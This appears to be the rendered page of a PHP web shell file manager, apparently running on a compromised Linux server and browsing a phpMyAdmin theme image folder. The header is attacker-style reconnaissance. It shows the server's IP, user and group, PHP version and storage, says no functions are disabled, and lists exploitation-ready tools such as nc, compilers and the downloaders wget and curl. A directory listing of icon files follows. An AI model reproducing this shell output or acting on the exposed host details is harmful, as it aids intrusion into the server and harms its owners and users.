| Linux hosted4 6.19.9 #1 SMP PREEMPT_DYNAMIC Fri Mar 20 10:38:39 PDT 2026 x86_64 |
| Apache |
| 192.223.25.130 | Your IP: 216.73.216.105 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-xr-x ] |
| / usr / www / opserveweb / phpmyadmin / themes / metro / img / designer / |
| Operating System | : | Linux hosted4 6.19.9 #1 SMP PREEMPT_DYNAMIC Fri Mar 20 10:38:39 PDT 2026 x86_64 |
| User / Group | : | 2246[renaz] / 400[ftp] |
| PHP Version | : | 8.4.6 |
| IP Server | : | 192.223.25.130 |
| Your IP | : | 216.73.216.105 |
| Storage | : | Total = 472.47 GB, Free = 160.28 GB [33%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | Apache |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : ON | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | opserveweb/ftp | drwxr-xr-x | 2022-05-10 09:39:14 | |
| .. | dir | - | opserveweb/ftp | drwxr-xr-x | 2022-05-10 09:39:14 | |
| 2leftarrow.png | image/png | 2.78 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| 2leftarrow_m.png | image/png | 992 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| 2rightarrow.png | image/png | 991 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| 2rightarrow_m.png | image/png | 991 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| FieldKey_small.png | image/png | 1013 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| Field_small.png | image/png | 1.03 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| Field_small_char.png | image/png | 1007 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| Field_small_date.png | image/png | 998 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| Field_small_int.png | image/png | 1005 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| Header_Linked.png | image/png | 108 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| anchor.png | image/png | 503 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| and_icon.png | image/png | 1.11 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| ang_direct.png | image/png | 3.53 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| bord.png | image/png | 87 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| bottom.png | image/png | 1.03 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| def.png | image/png | 1.01 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| display_field.png | image/png | 983 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| downarrow1.png | image/png | 1.06 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| downarrow2.png | image/png | 1.07 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| downarrow2_m.png | image/png | 1.04 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| exec.png | image/png | 1.33 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| exec_small.png | image/png | 1.01 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| exitFullscreen.png | image/png | 390 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| export.png | image/png | 735 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| favicon.ico | image/vnd.microsoft.icon | 1.12 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| grid.png | image/png | 3.51 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| help.png | image/png | 1.07 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| help_relation.png | image/png | 920 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| left_panel_butt.png | image/png | 129 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| left_panel_tab.png | image/png | 133 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| minus.png | image/png | 1.38 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| or_icon.png | image/png | 1.14 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| page_add.png | image/png | 612 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| page_delete.png | image/png | 630 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| page_edit.png | image/png | 677 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| pdf.png | image/png | 1.09 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| plus.png | image/png | 1.37 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| query_builder.png | image/png | 1.09 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| relation.png | image/png | 1.03 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| reload.png | image/png | 1.1 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| resize.png | image/png | 151 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| resizeright.png | image/png | 150 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| rightarrow1.png | image/png | 2.77 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| rightarrow2.png | image/png | 2.77 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| save.png | image/png | 1.16 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| save_as.png | image/png | 421 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| table.png | image/png | 1011 B | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| toggle_lines.png | image/png | 3.51 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| uparrow2_m.png | image/png | 1.03 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 | |
| viewInFullscreen.png | image/png | 1.15 KB | opserveweb/ftp | -rw-r--r-- | 2022-05-10 09:39:14 |
© SEC